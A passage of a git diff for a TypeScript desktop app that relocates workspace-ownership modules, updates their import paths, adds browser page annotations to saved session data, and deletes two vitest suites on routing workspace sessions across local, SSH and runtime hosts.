+import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
+import { parseWorkspaceKey } from '../../../../../shared/workspace-scope'
 import { translate } from '@/i18n/i18n'
 import { WORKTREE_REMOVAL_AMBIGUOUS_ERROR } from '@/store/slices/worktrees/listing/worktree-slice-constants'
 
diff --git a/src/renderer/src/lib/workspace/ownership/resolve-owner.ts b/src/renderer/src/lib/workspace/ownership/resolve-owner.ts
index 70852ab83ab..fe88e1ee9dc 100644
--- a/src/renderer/src/lib/workspace/ownership/resolve-owner.ts
+++ b/src/renderer/src/lib/workspace/ownership/resolve-owner.ts
@@ -43,7 +43,7 @@ import {
   getNestedSshTargetIdForFolderWorkspace
 } from './folder-workspace-runtime-owner'
 import { parseWorkspaceKey } from '../../../../../shared/workspace-scope'
-import { warnAmbiguousOwnerOnce } from '../../ambiguous-owner-warning'
+import { warnAmbiguousOwnerOnce } from './ambiguous-owner-warning'
 import { hostRouteForAuthority } from '@/runtime/rpc/targets/runtime-client-target'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
diff --git a/src/renderer/src/lib/resolved-worktree-execution-host.ts b/src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts
similarity index 86%
rename from src/renderer/src/lib/resolved-worktree-execution-host.ts
rename to src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts
index 283a856cb06..d136adf7e21 100644
--- a/src/renderer/src/lib/resolved-worktree-execution-host.ts
+++ b/src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts
@@ -3,18 +3,18 @@ import {
   parseExecutionHostId,
   toSshExecutionHostId,
   type ExecutionHostId
-} from '../../../shared/execution-host'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
-import { folderWorkspaceKey, parseWorkspaceKey } from '../../../shared/workspace-scope'
+} from '../../../../../shared/execution-host'
+import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
+import { folderWorkspaceKey, parseWorkspaceKey } from '../../../../../shared/workspace-scope'
 import {
   findIndexedFolderWorkspaceOwner,
   findIndexedProjectGroupOwner
-} from './workspace/ownership/worktree-runtime-owner-index'
+} from './worktree-runtime-owner-index'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
-import { resolveQualifiedWorktreeExecutionOwner } from './workspace/ownership/qualified-worktree-execution-owner'
-import type { WorktreeRuntimeOwnerState } from './workspace/ownership/worktree-runtime-owner-state'
+import { resolveQualifiedWorktreeExecutionOwner } from './qualified-worktree-execution-owner'
+import type { WorktreeRuntimeOwnerState } from './worktree-runtime-owner-state'
 import { runtimeRpcTargetForAuthorityKey } from '@/runtime/rpc/targets/runtime-client-target'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 function getResolvedFolderHost(
   state: WorktreeRuntimeOwnerState,
diff --git a/src/renderer/src/lib/runtime-owner-alias-matrix.test-fixture.ts b/src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts
similarity index 97%
rename from src/renderer/src/lib/runtime-owner-alias-matrix.test-fixture.ts
rename to src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts
index 16f3f571650..f44c675d63d 100644
--- a/src/renderer/src/lib/runtime-owner-alias-matrix.test-fixture.ts
+++ b/src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts
@@ -1,6 +1,6 @@
 /** Owner-resolution cases spanning every branch: local, direct SSH, runtime, HUB-proxied SSH, twins. */
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
-import type { WorktreeRuntimeOwnerState } from './workspace/ownership/worktree-runtime-owner-state'
+import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
+import type { WorktreeRuntimeOwnerState } from './worktree-runtime-owner-state'
 
 export type OwnerResolutionCase = {
   name: string
diff --git a/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts b/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts
index 13131287d4f..34e55786aa1 100644
--- a/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts
+++ b/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts
@@ -11,7 +11,7 @@ import { isExecutionHostAliasForWorktree } from './worktree-execution-host-alias
 import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
 import type { AppState } from '@/store/types'
 import { dedupePaletteWorktrees } from '../search/palette-repo-resolution'
-import { getResolvedExecutionHostIdForWorktree } from '../../resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from './resolved-worktree-execution-host'
 import type { WorktreeRuntimeOwnerState } from './worktree-runtime-owner-state'
 import {
   selectFolderWorkspaces,
diff --git a/src/renderer/src/lib/workspace-twin-rows.test-fixture.ts b/src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts
similarity index 90%
rename from src/renderer/src/lib/workspace-twin-rows.test-fixture.ts
rename to src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts
index dd2162a4b87..a3bcc1ffbd2 100644
--- a/src/renderer/src/lib/workspace-twin-rows.test-fixture.ts
+++ b/src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts
@@ -1,4 +1,4 @@
-import type { ExecutionHostId } from '../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 
 type TwinRepoRow = { id: string; connectionId?: string; executionHostId: ExecutionHostId }
 type TwinWorktreeRow = { id: string; repoId: string; hostId: ExecutionHostId }
diff --git a/src/renderer/src/lib/worktree-git-copy.ts b/src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts
similarity index 85%
rename from src/renderer/src/lib/worktree-git-copy.ts
rename to src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts
index 91f693db57a..887c2ed1d66 100644
--- a/src/renderer/src/lib/worktree-git-copy.ts
+++ b/src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts
@@ -1,20 +1,23 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
-import { parseRoutableExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host'
-import { getKnownExecutionHostIdForWorktree } from './workspace/ownership/worktree-runtime-owner'
-import { getActiveWorkspaceExecutionHostId } from './workspace/ownership/active-workspace-host'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
+import {
+  parseRoutableExecutionHostId,
+  type ExecutionHostId
+} from '../../../../../shared/execution-host'
+import { getKnownExecutionHostIdForWorktree } from './worktree-runtime-owner'
+import { getActiveWorkspaceExecutionHostId } from './active-workspace-host'
 import { selectWorkspaceByHostTarget } from '@/store/workspaces/selection/workspace-host-target'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
-import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity'
-import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id'
-import type { GitPushTarget } from '../../../shared/worktree/types'
+import { hostWorktreeTarget } from '../../../../../shared/worktree/host-qualified-identity'
+import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id'
+import type { GitPushTarget } from '../../../../../shared/worktree/types'
 import { worktreeCopyOwnerKey } from '@/store/slices/worktrees/metadata/worktree-copy-review-clear'
-import { runtimeTargetForWorkspaceOwner } from './workspace/ownership/resolve-owner'
+import { runtimeTargetForWorkspaceOwner } from './resolve-owner'
 import {
   getConnectionIdForWorktreeCopy,
   getConnectionIdFromState
-} from './workspace/ownership/connection-owner-resolution'
+} from './connection-owner-resolution'
 
 /**
  * One host's copy of a worktree, for git work whose answer is written back to the store. Worktree
diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-browser-tabs.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-browser-tabs.ts
index 9d05063e71f..540883ded0a 100644
--- a/src/renderer/src/lib/workspace/persistence/workspace-session-browser-tabs.ts
+++ b/src/renderer/src/lib/workspace/persistence/workspace-session-browser-tabs.ts
@@ -1,4 +1,5 @@
 import type { BrowserPage, BrowserWorkspace } from '../../../../../shared/browser-workspace-types'
+import type { BrowserPageAnnotation } from '../../../../../shared/browser/element-grab/browser-grab-types'
 import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
 import type { RemoteBrowserPageHandle } from '../../../store/slices/browser/browser-slice-contract'
 
@@ -6,7 +7,8 @@ export function buildBrowserSessionData(
   browserTabsByWorktree: Record<string, BrowserWorkspace[]>,
   browserPagesByWorkspace: Record<string, BrowserPage[]>,
   activeBrowserTabIdByWorktree: Record<string, string | null>,
-  remoteBrowserPageHandlesByPageId: Record<string, RemoteBrowserPageHandle>
+  remoteBrowserPageHandlesByPageId: Record<string, RemoteBrowserPageHandle>,
+  browserAnnotationsByPageId: Record<string, BrowserPageAnnotation[]>
 ): Pick<
   WorkspaceSessionState,
   'browserTabsByWorktree' | 'browserPagesByWorkspace' | 'activeBrowserTabIdByWorktree'
@@ -16,7 +18,8 @@ export function buildBrowserSessionData(
     browserTabsByWorktree: buildPersistedBrowserTabsByWorktree(browserTabsByWorktree),
     browserPagesByWorkspace: buildPersistedBrowserPagesByWorkspace(
       browserPagesByWorkspace,
-      remoteBrowserPageHandlesByPageId
+      remoteBrowserPageHandlesByPageId,
+      browserAnnotationsByPageId
     ),
     activeBrowserTabIdByWorktree
   }
@@ -35,16 +38,21 @@ export function buildPersistedBrowserTabsByWorktree(
 
 export function buildPersistedBrowserPagesByWorkspace(
   browserPagesByWorkspace: Record<string, BrowserPage[]>,
-  remoteBrowserPageHandlesByPageId: Record<string, RemoteBrowserPageHandle>
+  remoteBrowserPageHandlesByPageId: Record<string, RemoteBrowserPageHandle>,
+  browserAnnotationsByPageId: Record<string, BrowserPageAnnotation[]>
 ): WorkspaceSessionState['browserPagesByWorkspace'] {
   return Object.fromEntries(
     Object.entries(browserPagesByWorkspace).map(([workspaceId, pages]) => [
       workspaceId,
-      pages.map((page) => ({
-        ...page,
-        loading: false,
-        ...persistedRemoteBrowserPageIdentity(remoteBrowserPageHandlesByPageId[page.id])
-      }))
+      pages.map((page) => {
+        const annotations = browserAnnotationsByPageId[page.id]
+        return {
+          ...page,
+          loading: false,
+          ...persistedRemoteBrowserPageIdentity(remoteBrowserPageHandlesByPageId[page.id]),
+          ...(annotations?.length ? { annotations } : {})
+        }
+      })
     ])
   )
 }
diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.test.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.test.ts
deleted file mode 100644
index cf48280bc71..00000000000
--- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.test.ts
+++ /dev/null
@@ -1,302 +0,0 @@
-/** Bare repoId::path IDs collide across hosts (STA-4343); folding both into local let the last writer permanently erase the other workspace’s tabs. */
-import { describe, expect, it, vi, type Mock } from 'vitest'
-import { getDefaultWorkspaceSession } from '../../../../../shared/constants'
-import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
-import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
-import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
-import './workspace-session-host-contention'
-import '../../../../../shared/workspace-session/workspace-session-contested-primary-host'
-import { fetchWorkspaceSessionWithRuntimeHostOwners } from './workspace-session-host-hydration'
-import {
-  patchWorkspaceSessionByHost,
-  persistWorkspaceSessionByHost,
-  type HostPersistenceState
-} from './workspace-session-host-persistence'
-
-const SHARED_ID = 'repo-shared::/work/orca'
-const SSH_HOST: ExecutionHostId = 'ssh:build-box'
-
-function tab(id: string, worktreeId = SHARED_ID): TerminalTab {
-  return {
-    id,
-    ptyId: null,
-    worktreeId,
-    title: id,
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1
-  }
-}
-
-function sessionWithTabs(entries: Record<string, TerminalTab[]>): WorkspaceSessionState {
-  return { ...getDefaultWorkspaceSession(), tabsByWorktree: entries }
-}
-
-function contestedState(overrides: Partial<HostPersistenceState> = {}): HostPersistenceState {
-  return {
-    repos: [
-      { id: 'repo-shared', connectionId: null, executionHostId: 'local' },
-      {
-        id: 'repo-shared',
-        connectionId: 'build-box',
-        executionHostId: SSH_HOST
-      }
-    ],
-    worktreesByRepo: {
-      'repo-shared': [
-        { id: SHARED_ID, repoId: 'repo-shared', hostId: 'local' },
-        { id: SHARED_ID, repoId: 'repo-shared', hostId: SSH_HOST }
-      ]
-    },
-    ...overrides
-  }
-}
-
-type SessionWriteMock = Mock<
-  (session: WorkspaceSessionState, hostId?: ExecutionHostId) => Promise<void>
->
-type SessionPatchMock = Mock<
-  (patch: Partial<WorkspaceSessionState>, hostId?: ExecutionHostId) => Promise<void>
->
-
-describe('writing a contested workspace id back', () => {
-  const RUNTIME_HOST: ExecutionHostId = 'runtime:env-1'
-  const RUNTIME_ONLY_ID = 'repo-runtime::/srv/app'
-  const shadow = {
-    [RUNTIME_HOST]: sessionWithTabs({ [SHARED_ID]: [tab('runtime-tab')] })
-  }
-
-  /** The runtime host owns a second workspace, so its partition is rewritten by every persist —
-   *  the write that used to take the contested row down with it. */
-  function runtimeCoClaimantState(
-    overrides: Partial<HostPersistenceState> = {}
-  ): HostPersistenceState {
-    return {
-      repos: [],
-      worktreesByRepo: {
-        'repo-shared': [
-          { id: SHARED_ID, repoId: 'repo-shared', hostId: 'local' },
-          { id: SHARED_ID, repoId: 'repo-shared', hostId: RUNTIME_HOST }
-        ],
-        'repo-runtime': [{ id: RUNTIME_ONLY_ID, repoId: 'repo-runtime', hostId: RUNTIME_HOST }]
-      },
-      contestedHostWorkspaceSessions: shadow,
-      ...overrides
-    }
-  }
-
-  function livePayload(): WorkspaceSessionState {
-    return sessionWithTabs({
-      [SHARED_ID]: [tab('local-tab')],
-      [RUNTIME_ONLY_ID]: [tab('runtime-only-tab', RUNTIME_ONLY_ID)]
-    })
-  }
-
-  async function persist(state: HostPersistenceState): Promise<SessionWriteMock> {
-    const set: SessionWriteMock = vi.fn(async () => {})
-    await persistWorkspaceSessionByHost(
-      {
-        set,
-        get: vi.fn(),
-        patch: vi.fn(),
-        flush: vi.fn(async () => {})
-      },
-      livePayload(),
-      state
-    )
-    return set
-  }
-
-  function tabIds(session: Partial<WorkspaceSessionState> | undefined, key: string): string[] {
-    return (session?.tabsByWorktree?.[key] ?? []).map((entry) => entry.id)
-  }
-
-  it('keeps the co-claimant rows in its own partition when that partition is rewritten', async () => {
-    const set = await persist(runtimeCoClaimantState())
-
-    const runtimeWrite = set.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(tabIds(runtimeWrite, SHARED_ID)).toEqual(['runtime-tab'])
-    expect(tabIds(runtimeWrite, RUNTIME_ONLY_ID)).toEqual(['runtime-only-tab'])
-    const localWrite = set.mock.calls.find(([, hostId]) => hostId === undefined)?.[0]
-    expect(tabIds(localWrite, SHARED_ID)).toEqual(['local-tab'])
-  })
-
-  it('carries a parked field the slice never seeded through a full partition replace', async () => {
-    // Partition set replaces all fields; include parked rows even without live co-claimant entries or they disappear.
-    const set: SessionWriteMock = vi.fn(async () => {})
-    await persistWorkspaceSessionByHost(
-      {
-        set,
-        get: vi.fn(),
-        patch: vi.fn(),
-        flush: vi.fn(async () => {})
-      },
-      {
-        ...sessionWithTabs({ [SHARED_ID]: [tab('local-tab')] }),
-        // Seeds the runtime slice (so its partition IS rewritten) without seeding tabsByWorktree.
-        lastVisitedAtByWorktreeId: { [RUNTIME_ONLY_ID]: 1 }
-      },
-      runtimeCoClaimantState()
-    )
-
-    const runtimeWrite = set.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(runtimeWrite).toBeDefined()
-    expect(tabIds(runtimeWrite, SHARED_ID)).toEqual(['runtime-tab'])
-  })
-
-  it('restores the parked rows on the debounced patch path too', () => {
-    const patch: SessionPatchMock = vi.fn(async () => {})
-    patchWorkspaceSessionByHost(
-      { patch, get: vi.fn() },
-      { tabsByWorktree: livePayload().tabsByWorktree },
-      runtimeCoClaimantState()
-    )
-
-    const runtimePatch = patch.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(tabIds(runtimePatch, SHARED_ID)).toEqual(['runtime-tab'])
-  })
-
-  it('omits a field the patch never touched so the partition keeps its own copy', () => {
-    const patch: SessionPatchMock = vi.fn(async () => {})
-    patchWorkspaceSessionByHost(
-      { patch, get: vi.fn() },
-      { activeTabId: 'tab-1' },
-      runtimeCoClaimantState()
-    )
-
-    const runtimePatch = patch.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(runtimePatch?.tabsByWorktree).toBeUndefined()
-  })
-
-  it('drops a parked row once the catalog says that host no longer publishes the id', async () => {
-    const set = await persist(
-      runtimeCoClaimantState({
-        worktreesByRepo: {
-          'repo-shared': [{ id: SHARED_ID, repoId: 'repo-shared', hostId: 'local' }],
-          'repo-runtime': [
-            {
-              id: RUNTIME_ONLY_ID,
-              repoId: 'repo-runtime',
-              hostId: RUNTIME_HOST
-            }
-          ]
-        }
-      })
-    )
-
-    const runtimeWrite = set.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(runtimeWrite?.tabsByWorktree[SHARED_ID]).toBeUndefined()
-  })
-
-  it('keeps a parked row whose workspace the catalog cannot speak for yet', async () => {
-    const folderKey = folderWorkspaceKey('folder-1')
-    const set = await persist(
-      runtimeCoClaimantState({
-        contestedHostWorkspaceSessions: {
-          [RUNTIME_HOST]: sessionWithTabs({
-            [folderKey]: [tab('folder-tab', folderKey)]
-          })
-        }
-      })
-    )
-
-    const runtimeWrite = set.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(tabIds(runtimeWrite, folderKey)).toEqual(['folder-tab'])
-  })
-
-  it('leaves an untouched partition alone rather than rewriting it from the shadow', async () => {
-    const set = await persist(contestedState({ contestedHostWorkspaceSessions: shadow }))
-
-    expect(set.mock.calls.some(([, hostId]) => hostId === RUNTIME_HOST)).toBe(false)
-  })
-})
-
-/** Preserve read-source ownership through write; recomputing it can copy one host’s workspace into another partition. */
-describe('read-time primary is the one the write path honours', () => {
-  const RUNTIME_HOST: ExecutionHostId = 'runtime:env-1'
-  const RUNTIME_ONLY_ID = 'repo-runtime::/srv/app'
-
-  function sshVersusRuntimeState(
-    overrides: Partial<HostPersistenceState> = {}
-  ): HostPersistenceState {
-    return {
-      repos: [],
-      worktreesByRepo: {
-        'repo-shared': [
-          { id: SHARED_ID, repoId: 'repo-shared', hostId: SSH_HOST },
-          { id: SHARED_ID, repoId: 'repo-shared', hostId: RUNTIME_HOST }
-        ],
-        'repo-runtime': [{ id: RUNTIME_ONLY_ID, repoId: 'repo-runtime', hostId: RUNTIME_HOST }]
-      },
-      ...overrides
-    }
-  }
-
-  it('does not strand the runtime co-claimant when the SSH row is written', async () => {
-    const set: SessionWriteMock = vi.fn(async () => {})
-    await persistWorkspaceSessionByHost(
-      { set, get: vi.fn(), patch: vi.fn(), flush: vi.fn(async () => {}) },
-      sessionWithTabs({
-        [SHARED_ID]: [tab('ssh-tab')],
-        [RUNTIME_ONLY_ID]: [tab('runtime-only-tab', RUNTIME_ONLY_ID)]
-      }),
-      sshVersusRuntimeState({
-        contestedHostWorkspaceSessions: {
-          [RUNTIME_HOST]: sessionWithTabs({ [SHARED_ID]: [tab('runtime-tab')] })
-        }
-      })
-    )
-
-    const runtimeWrite = set.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(runtimeWrite?.tabsByWorktree[SHARED_ID]?.map((entry) => entry.id)).toEqual([
-      'runtime-tab'
-    ])
-    const sshWrite = set.mock.calls.find(([, hostId]) => hostId === SSH_HOST)?.[0]
-    expect(sshWrite?.tabsByWorktree[SHARED_ID]?.map((entry) => entry.id)).toEqual(['ssh-tab'])
-  })
-
-  it('writes a row back to the only partition that had it instead of copying it', async () => {
-    const set: SessionWriteMock = vi.fn(async () => {})
-    await persistWorkspaceSessionByHost(
-      { set, get: vi.fn(), patch: vi.fn(), flush: vi.fn(async () => {}) },
-      sessionWithTabs({ [SHARED_ID]: [tab('runtime-tab')] }),
-      {
-        repos: [],
-        worktreesByRepo: {
-          'repo-shared': [
-            { id: SHARED_ID, repoId: 'repo-shared', hostId: 'local' },
-            { id: SHARED_ID, repoId: 'repo-shared', hostId: RUNTIME_HOST }
-          ]
-        },
-        contestedPrimaryHostBySessionKey: { [SHARED_ID]: RUNTIME_HOST }
-      }
-    )
-
-    const runtimeWrite = set.mock.calls.find(([, hostId]) => hostId === RUNTIME_HOST)?.[0]
-    expect(runtimeWrite?.tabsByWorktree[SHARED_ID]?.map((entry) => entry.id)).toEqual([
-      'runtime-tab'
-    ])
-    const localWrite = set.mock.calls.find(([, hostId]) => hostId === undefined)?.[0]
-    expect(localWrite?.tabsByWorktree[SHARED_ID]).toBeUndefined()
-  })
-
-  it('does not name a runtime owner for a key the local partition kept', async () => {
-    const read = await fetchWorkspaceSessionWithRuntimeHostOwners(
-      {
-        get: vi.fn(async (hostId?: ExecutionHostId) =>
-          hostId === RUNTIME_HOST
-            ? sessionWithTabs({ [SHARED_ID]: [tab('runtime-tab')] })
-            : sessionWithTabs({ [SHARED_ID]: [tab('local-tab')] })
-        )
-      },
-      [],
-      [RUNTIME_HOST]
-    )
-
-    // A false runtime owner creates placeholders for the local row the merge actually retained.
-    expect(read.runtimeHostIdByWorkspaceSessionKey[SHARED_ID]).toBeUndefined()
-    expect(read.contestedPrimaryHostBySessionKey[SHARED_ID]).toBe('local')
-  })
-})
diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.test.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.test.ts
deleted file mode 100644
index 727508ee1d7..00000000000
--- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.test.ts
+++ /dev/null
@@ -1,380 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { getDefaultWorkspaceSession } from '../../../../../shared/constants'
-import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types'
-import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
-import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
-import {
-  patchWorkspaceSessionByHost,
-  type HostPersistenceState
-} from './workspace-session-host-persistence'
-import { fetchWorkspaceSessionFromHosts } from './workspace-session-host-hydration'
-
-describe('fetchWorkspaceSessionFromHosts', () => {
-  it('reads saved runtime host partitions before runtime repos are loaded', async () => {
-    const worktreeId = 'remote-repo::/srv/remote-wt'
-    const localSession: WorkspaceSessionState = {
-      ...getDefaultWorkspaceSession(),
-      activeWorktreeId: 'local-wt'
-    }
-    const remoteSession: WorkspaceSessionState = {
-      ...getDefaultWorkspaceSession(),
-      tabsByWorktree: {
-        [worktreeId]: [
-          {
-            id: 'remote-tab',
-            ptyId: null,
-            worktreeId,
-            title: 'Remote',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      }
-    }
-    const get = vi.fn(async (hostId?: string) =>
-      hostId === 'runtime:env-1' ? remoteSession : localSession
-    )
-
-    const session = await fetchWorkspaceSessionFromHosts({ get }, [], ['runtime:env-1'])
-
-    expect(get).toHaveBeenCalledWith()
-    expect(get).toHaveBeenCalledWith('runtime:env-1')
-    expect(session.activeWorktreeId).toBe('local-wt')
-    expect(session.tabsByWorktree[worktreeId]).toEqual(remoteSession.tabsByWorktree[worktreeId])
-  })
-
-  it('routes restored runtime folder workspace patches back to the runtime host', async () => {
-    const folderKey = folderWorkspaceKey('folder-1')
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      {
-        tabsByWorktree: {
-          [folderKey]: [
-            {
-              id: 'remote-folder-tab',
-              ptyId: null,
-              worktreeId: folderKey,
-              title: 'Remote folder',
-              customTitle: null,
-              color: null,
-              sortOrder: 0,
-              createdAt: 1
-            }
-          ]
-        }
-      },
-      {
-        repos: [],
-        worktreesByRepo: {},
-        restoredRuntimeHostIdByWorkspaceSessionKey: {
-          [folderKey]: 'runtime:env-1'
-        }
-      }
-    ).written
-
-    expect(patch).toHaveBeenCalledWith(expect.objectContaining({ tabsByWorktree: {} }))
-    expect(patch).toHaveBeenCalledWith(
-      expect.objectContaining({
-        tabsByWorktree: expect.objectContaining({
-          [folderKey]: expect.any(Array)
-        })
-      }),
-      'runtime:env-1'
-    )
-  })
-
-  it('keeps catalog-known local folder workspace patches local over stale restored owners', async () => {
-    const folderKey = folderWorkspaceKey('folder-1')
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      {
-        tabsByWorktree: {
-          [folderKey]: [
-            {
-              id: 'local-folder-tab',
-              ptyId: null,
-              worktreeId: folderKey,
-              title: 'Local folder',
-              customTitle: null,
-              color: null,
-              sortOrder: 0,
-              createdAt: 1
-            }
-          ]
-        }
-      },
-      {
-        repos: [],
-        folderWorkspaces: [{ id: 'folder-1', projectGroupId: 'group-1' }],
-        projectGroups: [{ id: 'group-1', executionHostId: 'local' }],
-        worktreesByRepo: {},
-        restoredRuntimeHostIdByWorkspaceSessionKey: {
-          [folderKey]: 'runtime:stale-env'
-        }
-      }
-    ).written
-
-    expect(patch).toHaveBeenCalledTimes(1)
-    expect(patch.mock.calls[0][0]).toEqual(
-      expect.objectContaining({
-        tabsByWorktree: expect.objectContaining({
-          [folderKey]: expect.any(Array)
-        })
-      })
-    )
-    expect(patch.mock.calls[0][1]).toBeUndefined()
-  })
-
-  it('routes placeholder-owned runtime worktree patches back to the runtime host', async () => {
-    const worktreeId = 'remote-repo::/srv/remote-wt'
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      {
-        tabsByWorktree: {
-          [worktreeId]: [
-            {
-              id: 'remote-tab',
-              ptyId: null,
-              worktreeId,
-              title: 'Remote',
-              customTitle: null,
-              color: null,
-              sortOrder: 0,
-              createdAt: 1
-            }
-          ]
-        }
-      },
-      {
-        repos: [
-          {
-            id: 'remote-repo',
-            connectionId: null,
-            executionHostId: 'runtime:env-1'
-          }
-        ],
-        worktreesByRepo: {
-          'remote-repo': [{ id: worktreeId, repoId: 'remote-repo' }]
-        }
-      }
-    ).written
-
-    expect(patch).toHaveBeenCalledWith(expect.objectContaining({ tabsByWorktree: {} }))
-    expect(patch).toHaveBeenCalledWith(
-      expect.objectContaining({
-        tabsByWorktree: expect.objectContaining({
-          [worktreeId]: expect.any(Array)
-        })
-      }),
-      'runtime:env-1'
-    )
-  })
-
-  it('keeps same-id local repo worktrees in the local partition', async () => {
-    const localWorktreeId = 'same-repo::/Users/me/project'
-    const remoteWorktreeId = 'same-repo::/srv/project'
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      {
-        tabsByWorktree: {
-          [localWorktreeId]: [
-            {
-              id: 'local-tab',
-              ptyId: null,
-              worktreeId: localWorktreeId,
-              title: 'Local',
-              customTitle: null,
-              color: null,
-              sortOrder: 0,
-              createdAt: 1
-            }
-          ],
-          [remoteWorktreeId]: [
-            {
-              id: 'remote-tab',
-              ptyId: null,
-              worktreeId: remoteWorktreeId,
-              title: 'Remote',
-              customTitle: null,
-              color: null,
-              sortOrder: 0,
-              createdAt: 1
-            }
-          ]
-        }
-      },
-      {
-        repos: [
-          { id: 'same-repo', connectionId: null, executionHostId: 'local' },
-          {
-            id: 'same-repo',
-            connectionId: null,
-            executionHostId: 'runtime:env-1'
-          }
-        ],
-        worktreesByRepo: {
-          'same-repo': [
-            { id: localWorktreeId, repoId: 'same-repo' },
-            {
-              id: remoteWorktreeId,
-              repoId: 'same-repo',
-              hostId: 'runtime:env-1'
-            }
-          ]
-        }
-      }
-    ).written
-
-    expect(patch).toHaveBeenCalledWith(
-      expect.objectContaining({
-        tabsByWorktree: {
-          [localWorktreeId]: expect.any(Array)
-        }
-      })
-    )
-    expect(patch).toHaveBeenCalledWith(
-      expect.objectContaining({
-        tabsByWorktree: expect.objectContaining({
-          [remoteWorktreeId]: expect.any(Array)
-        })
-      }),
-      'runtime:env-1'
-    )
-  })
-})
-
-describe('patchWorkspaceSessionByHost write outcome', () => {
-  it('rejects `written` when a host partition fails, while the local write still resolves', async () => {
-    const folderKey = folderWorkspaceKey('folder-1')
-    const patch = vi.fn(async (_slice: unknown, hostId?: string) => {
-      if (hostId) {
-        throw new Error('runtime down')
-      }
-    })
-    const result = patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      { activeWorktreeId: folderKey, tabsByWorktree: { [folderKey]: [] } },
-      {
-        repos: [],
-        worktreesByRepo: {},
-        restoredRuntimeHostIdByWorkspaceSessionKey: { [folderKey]: 'runtime:env-1' }
-      }
-    )
-    await expect(result.localWrite).resolves.toBeUndefined()
-    await expect(result.written).rejects.toThrow('runtime down')
-    expect(patch).toHaveBeenCalledWith(expect.anything(), 'runtime:env-1')
-  })
-})
-
-describe('patchWorkspaceSessionByHost tab-keyed routing', () => {
-  const remoteWorktreeId = 'remote-repo::/srv/remote'
-  const localWorktreeId = 'local-repo::/home/me/local'
-  const remoteTab = {
-    id: 'remote-tab',
-    ptyId: null,
-    worktreeId: remoteWorktreeId,
-    title: 'Remote',
-    customTitle: null,
-    color: null,
